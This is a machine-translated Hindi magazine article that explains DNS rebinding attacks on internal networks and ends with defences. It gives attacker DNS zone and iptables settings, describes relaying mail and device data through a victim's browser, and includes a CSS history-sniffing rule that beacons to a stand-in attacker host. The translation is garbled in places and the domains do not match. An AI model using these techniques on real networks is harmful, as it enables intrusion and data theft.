DNS रिबाइंडिंग का दूसरा जीवन। एंटी डीएनएस पिनिंग हमलों को लागू करने के लिए नया दृष्टिकोण

आधुनिक ब्राउज़रों में एम्बेडेड सुरक्षा मॉडल का आधार तंत्र "समान मूल नीति" है। इसका सार यह है कि ब्राउज़र तीसरे पक्ष के डोमेन पर स्थित डेटा तक पहुंचने की स्क्रिप्ट की अनुमति नहीं देते हैं। एकमात्र अपवाद POST अनुरोध भेजने और जावास्क्रिप्ट और सीएसएस फ़ाइलों को पेज से जोड़ने की क्षमता है। हालाँकि, किसी अन्य डोमेन से प्राप्त डेटा को पढ़ने के लिए कोई कानूनी तरीके नहीं हैं।

बाइपास पर प्रतिबंध

हम यह सोचेंगे कि यदि अन्य डोमेन से डेटा प्राप्त करने पर प्रतिबंध हटा दिया जा सकता है तो वास्तव में क्या हासिल किया जा सकता है। सबसे पहले, हम न केवल तृतीय-पक्ष संसाधनों (मानक CSRF हमलों के साथ) के लिए अनुरोध भेजने में सक्षम होंगे, बल्कि सर्वर से प्राप्त प्रतिक्रियाओं की भी प्रक्रिया करेंगे। इसका मतलब है कि CSRF हमलों से बचाने के लिए बनाए गए अधिकांश तंत्र काम करना बंद कर देंगे। हम आंतरिक नेटवर्क पर स्थित संसाधनों तक पहुंच प्राप्त कर सकते हैं (बाहर से दुर्गम), जबकि उपयोगकर्ता के ब्राउज़र को प्रॉक्सी के रूप में उपयोग किया जाएगा। उन संसाधनों से गोपनीय डेटा प्राप्त करना भी संभव होगा, जिस पर प्रमाण पत्र का उपयोग करके उपयोगकर्ता को प्रमाणित किया जाता है। एंटरप्राइज़ परिवेश के लिए ऐसे वेब एप्लिकेशन का एक अच्छा उदाहरण आउटलुक वेब एक्सेस मेल सर्वर है।
यह "समान मूल नीति" प्रतिबंध को दरकिनार करने के लिए किया गया था जिसे एंटी DNS पिनिंग अटैक परिवार, जिसे डीएनएस विद्रोह के रूप में भी जाना जाता है, का आविष्कार किया गया था। वेब सर्वर जो HTTP अनुरोधों का एक मनमाने होस्ट हेडर मूल्य के साथ प्रतिक्रिया करते हैं, वे एंटी-DNS पिनिंग हमलों के लिए अतिसंवेदनशील होते हैं। विशेष रूप से, डिफ़ॉल्ट कॉन्फ़िगरेशन वाले सभी Apache और IIS वेब सर्वर असुरक्षित हैं। HTTP द्वारा नियंत्रित लगभग सभी दूरस्थ सेवाएँ, लेकिन वेब इंटरफ़ेस के बिना भी असुरक्षित हैं। उदाहरण के लिए, लगभग सभी सेवाएँ जो SOAP, XML-RPC द्वारा नियंत्रित रिमोट एपीआई प्रदान करती हैं, और जैसे कमजोर हैं।

DNS रिबाइंडिंग द्वारा हमला

क्या कहना है?

किसी भी साइट से पेज प्राप्त करते समय आधुनिक ब्राउज़र, DNS क्वेरी के परिणामों को कैश करते हैं। यह IP पते को खराब करके अनुरोधों को तृतीय-पक्ष सर्वर पर भेजे जाने से रोकने के लिए है। आइए इस तंत्र को दरकिनार करने के लिए क्या किया जा सकता है, इसके बारे में सोचें। इससे पहले, एक हमले (सिद्धांत में) को निम्नानुसार किया जा सकता है:

1. पीड़ित हमलावर से संबंधित डोमेन एक्सेस करता है।
2. DNS सर्वर से डोमेन नाम के अनुरूप आईपी पते को पुनर्प्राप्त करता है।
3. यह एक वेब सर्वर (प्राप्त आईपी के अनुरूप) तक पहुँचता है और इससे एक जावास्क्रिप्ट स्क्रिप्ट प्राप्त करता है।
4. लोड किए गए सर्वर पर बार-बार अनुरोध शुरू करने के कुछ समय बाद जावास्क्रिप्ट प्राप्त हुआ।
5. इस बिंदु पर, फ़ायरवॉल का उपयोग करने वाला हमलावर पीड़ित से सर्वर के सभी अनुरोधों को रोकता है।
6. ब्राउज़र सर्वर के आईपी पते को पुनः प्राप्त करने का प्रयास करता है (उचित DNS क्वेरी भेजकर) और इस बार पीड़ित के स्थानीय नेटवर्क से कमजोर सर्वर का आईपी पता प्राप्त करता है।

तदनुसार, यदि आप पीड़ित को अपने बुराई .xxx डोमेन को लुभाने का प्रबंधन करते हैं, तो आप उपयोगकर्ता के ब्राउज़र को सोच सकते हैं कि यह डोमेन नाम बाहरी इंटरनेट से आईपी पते के अनुरूप नहीं है, लेकिन स्थानीय नेटवर्क से आईपी पता। इस पते पर, उदाहरण के लिए, कुछ महत्वपूर्ण आंतरिक कॉर्पोरेट संसाधन स्थित हो सकते हैं। एकमात्र समस्या यह है कि हमले का यह संस्करण काम नहीं करता है।

व्यवहार में लाना

जैसा कि आप हमले के विवरण से देख सकते हैं, हमें एक सर्वर की आवश्यकता है, जिस पर हमें WEB और DNS सर्वर को बढ़ाने और कॉन्फ़िगर करने की आवश्यकता है, हमें एक डोमेन की भी आवश्यकता है जहां हम पीड़ित को फुसला सकते हैं। डोमेन नाम पंजीकृत करते समय, हम अपने सर्वर के डेटा को एनएस-सर्वर के रूप में दर्शाते हैं।
व्यवहार में एक हमले का सफलतापूर्वक संचालन करने के लिए, आपको एनएस सर्वर को कॉन्फ़िगर करने की आवश्यकता है ताकि यह एक ही समय में दोनों आईपी पते लौटाए। इसके अलावा, जिस सर्वर पर जावास्क्रिप्ट हमला कर रहा है, उसका आईपी पता पहले लौटाया जाना चाहिए, और पीड़ित सर्वर का आईपी पता दूसरा लौटाया जाना चाहिए। इस स्थिति में, डोमेन का उपयोग करते समय, ब्राउज़र पहले हमारे सर्वर से हमलावर स्क्रिप्ट डाउनलोड करेगा, तभी, जब सर्वर अनुपलब्ध हो जाएगा (फ़ायरवॉल द्वारा अनुरोध को अवरुद्ध करने के परिणामस्वरूप), यह पीड़ित के सर्वर से संपर्क करेगा।
इस उद्देश्य के लिए, बिंद 9 सर्वर काफी उपयुक्त है। इसके लिए वांछित क्रम में आईपी पते वापस करने के लिए, इसे स्रोत कोड से ध्वज के साथ इकट्ठा किया जाना चाहिए - स्थिर-फिक्स्ड-रैसेट। डिफ़ॉल्ट रूप से, यह ध्वज सेट नहीं है, और बायनेरिज़ में वितरित संस्करणों का उपयोग नहीं किया जा सकता है। Bind9 सेटिंग्स इंगित करती हैं कि IP पतों के एक निश्चित क्रम का उपयोग किया जाना चाहिए। ऐसा करने के लिए, name.conf.options में, विकल्प पैरामीटर निर्दिष्ट करता है:

rrset-oredr { order fixed; };

अगला, आपको ज़ोन को कॉन्फ़िगर करने की आवश्यकता है। उदाहरण के लिए, dns.evil.xxx डोमेन:

dns A 97.246.251.93
A 192.168.0.1

परिणामस्वरूप, जब dns.attacker.ru डोमेन के लिए हमलावर के DNS सर्वर तक पहुंच होती है, तो ब्राउज़र हमेशा आईपी पते 97.246.251.93 तक पहुंचेगा, फिर, अगर यह उपलब्ध नहीं है, तो 192.168.0.1। कुछ मामलों में, इस आदेश का उल्लंघन हो सकता है, नीचे और अधिक विवरण में वर्णित किया गया है।
DNS सर्वर के अलावा, एक हमले के लिए एक वेब सर्वर (उदाहरण के रूप में अपाचे पर विचार करें), और सर्वर से कनेक्ट करने के लिए आने वाले अनुरोधों को रोकने के लिए एक सुविधाजनक तंत्र की आवश्यकता होगी। आप आने वाले अनुरोधों को ब्लॉक करने के लिए iptables फ़ायरवॉल का उपयोग कर सकते हैं, और इसे ब्लॉक करने का सबसे प्रभावी तरीका कनेक्ट करने के प्रयास के जवाब में टीसीपी-रीसेट के साथ एक पैकेट भेजना है, अन्यथा ब्राउज़र सर्वर से प्रतिक्रिया की प्रतीक्षा कर रहे टीसीपी सत्र के हिस्से के रूप में अतिरिक्त समय बिताएगा। Iptables का उपयोग करना, यह निम्नानुसार किया जाता है:

iptables -A INPUT -s [ IP-] -p tcp --dport 80 -j REJECT --reject-with tcp-reset


हम उपयोगकर्ता को iptables के माध्यम से ब्लॉक करते हैं

उदाहरण में, केवल 80 वें पोर्ट को जानबूझकर अवरुद्ध किया जाता है, क्योंकि हमले को लागू करने के लिए, आपको एक सेवा की आवश्यकता होती है जिसमें क्लाइंट से प्राप्त डेटा भेजा जाएगा। परिणामस्वरूप, हमला इस प्रकार है:

1. पीड़ित ने dns.evil.xxx डोमेन एक्सेस किया।
2. हमलावर का DNS सर्वर एक निश्चित क्रम में दोनों आईपी पते लौटाता है।
3. ब्राउज़र बाहरी IP 97.246.251.93 पर स्थित सर्वर के अनुरोध को पुनर्निर्देशित करता है।
4. सर्वर जावास्क्रिप्ट के साथ एक HTML पृष्ठ लौटाता है।
5. ब्राउज़र में पेज लोड करने के बाद, क्लाइंट जावास्क्रिप्ट dns.evil.xxx डोमेन के लिए एक अनुरोध भेजता है।
6. अनुरोध प्राप्त करने के बाद, सर्वर-साइड स्क्रिप्ट पीड़ित के आईपी पते से आने वाले कनेक्शन को अवरुद्ध करता है।
7. थोड़ी देर के बाद, क्लाइंट स्क्रिप्ट फिर से dns.attacker.ru डोमेन का उपयोग करती है और, चूंकि सर्वर 97.246.251.93 RST देता है, यह अनुरोध स्थानीय सर्वर 192.168.0.1 पर पुनर्निर्देशित किया जाता है।

अब हमारी जावास्क्रिप्ट 97.246.251.93 पर स्थित आवेदन के लिए कोई भी GET / POST / HEAD अनुरोध भेज सकते हैं, साथ ही प्राप्त प्रतिक्रियाओं की प्रक्रिया कर सकते हैं और हमलावर को परिणाम भेज सकते हैं!

पेलोड

इसलिए, ब्राउज़र सोचता है कि स्क्रिप्ट को आंतरिक नेटवर्क से संसाधन से डाउनलोड किया गया था, और हमारे पास इस संसाधन को प्रबंधित करने की क्षमता है। व्यावहारिक उपयोग के लिए इस स्क्रिप्ट में कौन से कार्य करने हैं? सबसे पहले, स्क्रिप्ट को यह निर्धारित करना होगा कि हम किस विशेष एप्लिकेशन के साथ काम कर रहे हैं, फिर क्या कोई प्राधिकरण है जिसे बायपास करना होगा। उसके बाद, स्क्रिप्ट को इस प्रकार के उपकरणों के लिए इसमें एम्बेडेड कमांड निष्पादित करना चाहिए। उदाहरण के लिए, कॉन्फ़िगरेशन बदलें या असुरक्षित सर्वर पर संग्रहीत पत्रों / दस्तावेजों की एक प्रति प्राप्त करें। हार्ड-कोडेड कमांड निष्पादित करने के बाद, आप पीड़ित के ब्राउज़र को प्रॉक्सी मोड में स्विच कर सकते हैं और हमलावर को आवेदन ऑनलाइन करने के लिए अनुरोध भेज सकते हैं।
इन सभी कार्यों को पूरा करने से पहले, आपको यह समझने की आवश्यकता है कि स्क्रिप्ट कमजोर अनुप्रयोग के लिए अनुरोध कैसे भेजेगा, और प्राप्त डेटा को हमलावर के सर्वर पर कैसे स्थानांतरित किया जाएगा। यह मत भूलो कि हमने पहले से ही समान उत्पत्ति नीति प्रतिबंधों को दरकिनार कर दिया है, जिसका अर्थ है कि आप मानक AJAX प्रौद्योगिकियों का उपयोग कर सकते हैं, विशेष रूप से XMLHttpRequest घटक, कमजोर सर्वर के साथ संवाद करने के लिए।
सर्वर को प्राप्त डेटा को स्थानांतरित करना अधिक कठिन है, क्योंकि हमले की प्रक्रिया नियंत्रण सर्वर (हमलावर का प्रशासनिक पैनल) या तो एक अलग डोमेन या एक अलग पोर्ट पर स्थित है (हमने अपने सर्वर पर 80 वें पोर्ट को ब्लॉक कर दिया है)। इसका मतलब यह है कि स्क्रिप्ट फिर से समान उत्पत्ति नीति की सीमाओं का सामना करेगी। सौभाग्य से, इस समस्या को हल करने के लिए, JSONP नामक एक तकनीक का आविष्कार किया गया था, जिसके उपयोग से हम अपने सर्वर को अनुरोध भेज सकेंगे यदि यह विशेष रूप से तैयार उत्तर (वेब ​​प्रोग्रामिंग के लिए समर्पित संसाधनों पर JSONP के बारे में अधिक पाया जा सकता है)। तंत्र के साथ, सब कुछ स्पष्ट है, आगे बढ़ें।

मूल प्राधिकरण विंडो

ओडब्ल्यूए आवेदन में प्राधिकरण प्रक्रिया

कमान का निष्पादन

हमलावर सर्वर को कमांड भेजते समय, आपको या तो XMLHttpRequest का उपयोग सिंक्रोनस मोड में करना चाहिए, या मैन्युअल रूप से कमांड भेजने का समन्वय करना चाहिए और अगले कमांड को तब तक नहीं भेजना चाहिए जब तक कि पिछले एक का जवाब न आ जाए। स्क्रिप्ट के प्रदर्शन को बेहतर बनाने के लिए, मैं दूसरे विकल्प का उपयोग करने की सलाह देता हूं।
पीड़ित के ब्राउज़र को प्रॉक्सी के रूप में उपयोग करने के लिए, आपको स्क्रिप्ट समाप्त होने के बाद सेट इन्टरवल फ़ंक्शन को चलाने की आवश्यकता होती है, जिसमें आप उस कोड को पास करेंगे जो नियंत्रण सर्वर से अगले कमांड का अनुरोध करेगा जिसे हमले के तहत उपकरण पर चलाने की आवश्यकता है। और कमांड के परिणाम को सर्वर पर वापस भेजा जा सकता है।

सिस्को उपकरण से विन्यास प्राप्त करना

आउटलुक वेब एक्सेस पर हमले का परिणाम

कॉर्पोरेट नेटवर्क पर हमला

हमने सोचा कि अगर लक्ष्य एक है तो क्या करना है। अब हमें यह पता लगाने की जरूरत है कि एक पूरे के रूप में कॉर्पोरेट नेटवर्क पर हमला कैसे किया जाए। खैर, सबसे पहले, इस तरह के हमले का संचालन करने के लिए, यह सीखना आवश्यक है कि स्वीकार्य समय में हमले के लक्ष्यों के आईपी पते कैसे निर्धारित किए जाएं। दूसरे, आपको एक ही उपयोगकर्ता सत्र में कई लक्ष्यों पर हमला करने की क्षमता प्रदान करने की आवश्यकता है। तीसरा, यह कंपनी के आंतरिक नेटवर्क पर स्थित कई ब्राउज़रों से एक ही सर्वर पर वितरित हमलों को करने की क्षमता की आवश्यकता है। और चौथा, पीड़ित के ब्राउज़र को प्रॉक्सी के रूप में उपयोग करते समय विभिन्न आईपी पते पर अनुरोध भेजने की क्षमता आवश्यक है (ऊपर चर्चा केवल एक पते पर ऐसे आदेश भेजने के बारे में थी)।

लक्ष्य पदनाम

लक्ष्यों को निर्धारित करने के लिए, आप रेंज द्वारा नेटवर्क आईपी पते को स्कैन कर सकते हैं। इसके लिए, आप उपयोग कर सकते हैं, उदाहरण के लिए, IFRAME टैग और onLoad घटना। एक अन्य कार्यान्वयन विकल्प छवि ऑब्जेक्ट बनाना और यह निर्धारित करने के लिए ऑनलोड का उपयोग करना है कि क्या छवि ने लोड किया है। यह निर्धारित करने के लिए कि किसी दिए गए पते पर एक संसाधन नहीं मिला है, आप सेटटाइमआउट फ़ंक्शन का उपयोग कर सकते हैं, जो कुछ समय बाद जांच करेगा कि ऑब्जेक्ट बनाया गया था या नहीं, और यदि ऑब्जेक्ट नहीं बनाया गया था, तो संकेत दें कि इस पते पर संसाधन नहीं मिला था।
इस दृष्टिकोण का उपयोग करने में कई स्पष्ट समस्याएं शामिल हैं:

1. प्रॉक्सी सर्वर किसी भी सम्‍मिलित IP पते पर अनुरोध भेजते समय भी प्रतिक्रिया दे सकता है, और परिणामस्वरूप, onLoad विधि और भी सम्‍मिलित पतों की उपस्थिति का संकेत देगी।
2. संभावित रूप से टाइमआउट मान चयन त्रुटियों के मामले में झूठी सकारात्मक की एक बड़ी संख्या।
3. बड़े समयबाह्य मूल्य और / या पते की एक बड़ी श्रृंखला की खोज के साथ, चयन में काफी समय लग सकता है।

इन समस्याओं को हल करने के लिए, आप लक्ष्यों को निर्धारित करने की एक और विधि का उपयोग कर सकते हैं।

CSS इतिहास हैक v 2.0

कुछ साल पहले, ब्राउज़र उपयोगकर्ता द्वारा देखे गए वेब पतों को निर्धारित करने के लिए एक दिलचस्प तरीका प्रस्तावित किया गया था। विधि का सार यह है कि जावास्क्रिप्ट का उपयोग करके आप पृष्ठ पर बनाए गए लिंक के रंग का पता लगा सकते हैं, और पहले देखे गए लिंक के लिए यह रंग अलग है।
इस प्रकार, पतों की एक सूची बनाई गई है, आप सूची से प्रत्येक पते के लिए एक टैग बनाने के लिए जावास्क्रिप्ट का उपयोग कर सकते हैं और पहले से ही देखे गए लिंक के रंग के साथ इसके रंग की तुलना कर सकते हैं। ऑपरेशन में आसानी के लिए, पहले से ही देखे गए लिंक के रंग स्पष्ट रूप से CSS का उपयोग करके निर्धारित किए गए हैं।
कई साल बीत गए, और यह भेद्यता बंद हो गई। ब्राउज़रों के आधुनिक संस्करण (यहां तक ​​कि IE8) अब हमेशा प्रोग्रामेटिक रूप से लिंक के लिए डिफ़ॉल्ट रंग देते हैं, भले ही लिंक पहले से देखा गया हो। हालाँकि, यह भेद्यता अभी भी एक नए तरीके से लागू की जा सकती है। ऐसा करने के लिए, हम उदाहरण के लिए, चेक किए गए लिंक की सरणी को कठोरता से सेट करते हैं:

var links = [
'http://192.168.0.1',
'http://192.168.1.1',
'http://10.1.1.1'
];

गतिशील रूप से बनाए गए प्रत्येक टैग में प्रत्येक लिंक के लिए, प्रपत्र का CSS नियम जोड़ें:

A#id:visited { background:url('http://admin.evil.xxx:8080/backonnect.php?url=http://192.168.0.1'); }

परिणामस्वरूप, उस लिंक का निर्माण करते समय जो विज़िट किया गया था, ब्राउज़र पते में निर्दिष्ट यूआरएल को लोड करने की कोशिश करेगा, और गैर-लिंक किए गए लिंक के लिए, url लोड नहीं होगा। इस प्रकार, विज़िट किए गए लिंक के बारे में जानकारी सर्वर पर प्रेषित की जा सकती है, और ब्राउज़रों के सभी वर्तमान संस्करण, जिनमें नवीनतम भी शामिल हैं, इस प्रकार के हमले के लिए अतिसंवेदनशील होते हैं।

कई ठिकानों पर हमला

DNS विद्रोही प्रकार के हमले को करने के लिए, उपयोगकर्ता के हिस्से पर कनेक्शन को ब्लॉक करना आवश्यक है, और आधुनिक ब्राउज़रों की प्रतिक्रिया को ध्यान में रखते हुए, यह अवरोध टीसीपी हैंडशेक के दौरान भी किया जाना चाहिए। यदि कनेक्शन के बाद लॉक बाहर किया जाता है, तो ब्राउज़र वैकल्पिक पते का उपयोग नहीं करेगा। विशेष रूप से, IE और फ़ायरफ़ॉक्स एक खाली प्रतिक्रिया निकाय के साथ 200 ओके प्रतिक्रिया देते हैं, और ओपेरा ब्राउज़र एक 404 त्रुटि कोड देता है और किसी अन्य आईपी पते से कनेक्ट करने का प्रयास नहीं करता है। इस प्रकार, मानक दृष्टिकोण का उपयोग करके एक साथ कई संसाधनों का एक समानांतर हमला असंभव है।
कई लक्ष्यों पर हमला करने के लिए, आप लक्ष्यों को परिभाषित करने और एक अलग HTML पृष्ठ में वर्तमान लक्ष्य का चयन करने के कार्यों को उजागर कर सकते हैं। जब एक लक्ष्य का पता लगाया जाता है, तो उसका आईपी पता सर्वर को प्रेषित किया जाएगा, और सर्वर स्क्रिप्ट को उस पर हमला करने के लिए DNS तालिका में संबंधित उपडोमेन बनाना होगा। उदाहरण के लिए, आईपी पते 192.168.0.1 के लिए, आप 192.168.0.1.dns.evil.xxx का उपडोमेन बना सकते हैं। Dns.evil.xxx/control.html पर नियंत्रण पृष्ठ में एक iframe बनाना चाहिए जिसमें DNS रिबाइंडिंग हमले के संचालन के लिए क्लाइंट स्क्रिप्ट वाले दस्तावेज़ को लोड किया जाएगा, उदाहरण के लिए, 192.168.0.1.dns.evil.xxx/rebinding पर। एचटीएमएल ।
हमले के दौरान आभासी साइटों को जोड़ने से बचने के लिए, आपको वेब सर्वर के वर्चुअल होस्ट को कॉन्फ़िगर करने की आवश्यकता है ताकि सभी उप-डोमेन के लिए एक ही फाइल वापस आए। यह एक विरोधाभास बनाता है: हमले को अंजाम देने वाला सर्वर खुद इसके लिए असुरक्षित होगा :)।
परिणामी पृष्ठ सर्वर को केवल उसके अनुरोधों को पूरा करने के लिए कहता है, हमलावर के आईपी पते को अवरुद्ध करने के लिए कहता है, काम करता है, और लॉक जारी करता है। इसके साथ ही, सर्वर फिर से पीड़ित से अनुरोधों को हल करता है।
पूर्ण एल्गोरिथ्म इस प्रकार है:

1. लक्ष्य निर्धारण प्रणाली हमलावर के सर्वर (उदाहरण के लिए, 97.246.251.93) पर लक्ष्य आईपी पतों को प्रसारित करती है।
2. क्लाइंट पर नियंत्रण स्क्रिप्ट सर्वर से लक्ष्य के डोमेन नाम का अनुरोध करती है।
3. सर्वर उपडोमेन के लिए एक DNS रिकॉर्ड बनाता है, जिसका उपयोग विशिष्ट IP पते पर हमला करने के लिए किया जाएगा।
   एक उदाहरण:
   97.246.251.93.dns.evil.xxx A 97.246.251.93
A 192.168.0.1
4. नियंत्रण स्क्रिप्ट प्राप्त डोमेन नाम को src IFRAME टैग के पैरामीटर के रूप में इंगित करता है।
5. डोमेन 192.168.0.1.evil.xxx से प्राप्त एक दस्तावेज़ सर्वर से लॉक का अनुरोध करता है।
6. सर्वर लक्ष्य पते के लिए अनुरोधों का जवाब देना बंद कर देता है, और पीड़ित के ब्राउज़र से पोर्ट 80 तक पहुंच को अवरुद्ध करता है।
7. क्लाइंट स्क्रिप्ट सही डेटा प्राप्त करने और उपकरणों के प्रबंधन का काम करती है।
8. जब क्लाइंट स्क्रिप्ट खत्म हो जाती है, तो यह सर्वर को बताता है कि लॉक जारी किया जा सकता है।
9. सर्वर लॉक को रिलीज़ करता है और फिर से पोर्ट 80 पर हमला करने वाले पते से पहुंच की अनुमति देता है।
10. नियंत्रण स्क्रिप्ट अगले लक्ष्य के पते का अनुरोध करती है, और यदि आवश्यक हो तो प्रक्रिया को दोहराया जाता है।

गतिशील उपडोमेन निर्माण

DNS रिकॉर्ड को गतिशील रूप से बनाने के लिए, आप स्वचालित DNS अपडेट तंत्र का उपयोग कर सकते हैं, उदाहरण के लिए, nsupdate उपयोगिता। इसका उपयोग करते समय, DNS सर्वर को रीबूट करना आवश्यक नहीं है।

DNS रिबाइंडिंग अटैक प्रोटेक्शन

मूल रूप से, इस प्रकार के हमले से खुद को बचाने के कई तरीके हैं, उदाहरण के लिए:

1. सर्वर सॉफ्टवेयर का सही विन्यास। वर्ल्‍ड सर्वर पर वर्ल्‍डहॉस्‍ट पैरामीटर को मान के साथ हटाएं _default_, या *: 80 और मेजबान नामों को स्‍पष्‍ट रूप से पंजीकृत करें।
2. वेब एप्लिकेशन डेवलपर द्वारा सुरक्षा। एप्लिकेशन इंस्टॉल करते समय, उपयोगकर्ता को उस सर्वर के डोमेन नाम को दर्ज करने के लिए संकेत दें, जिस पर एप्लिकेशन स्थित होगा और क्लाइंट से केवल प्रक्रिया अनुरोध करता है यदि HTTP अनुरोध का होस्ट पैरामीटर स्थापना के दौरान निर्दिष्ट डोमेन नाम से मेल खाता है।
3. ब्राउज़रों में, NOSCRIPT प्लगइन या एनालॉग्स का उपयोग करें, जावास्क्रिप्ट स्क्रिप्ट, जावा एप्लेट या फ्लैश एप्लिकेशन के निष्पादन पर रोक लगाएं।
4. ज़ोन पृथक्करण का उपयोग करें, जिसमें बाहरी इंटरनेट से प्राप्त स्क्रिप्ट को उपयोगकर्ता के स्थानीय नेटवर्क पर स्थित संसाधनों तक पहुंचने के लिए स्पष्ट रूप से मना किया जाएगा।

इस दृष्टिकोण के साथ, केवल दूरस्थ सेवाएं जो एपीआई प्रदान करती हैं, जिनके लिए सिद्धांत रूप में होस्ट नाम प्रदान नहीं किया गया है, विशिष्ट रूप से असुरक्षित हैं। उदाहरण के लिए, अमेज़ॅन ईसी 2-आधारित क्लाउड एपीआई या वीएमवेयर ईएसएक्स वर्चुअलाइजेशन सिस्टम।


हैकर पत्रिका, अगस्त (08) 151
डेनिस बरानोव ।
सकारात्मक हैक दिनों के आधार पर।

हैकर की सदस्यता लें

• 1 999 पी। पेपर विकल्प के 12 नंबरों के लिए
• 1249 आरयूआर iOS / iPad की वार्षिक सदस्यता के लिए (Android रिलीज़ जल्द ही आ रहा है!)
• एंड्रॉइड पर हैकर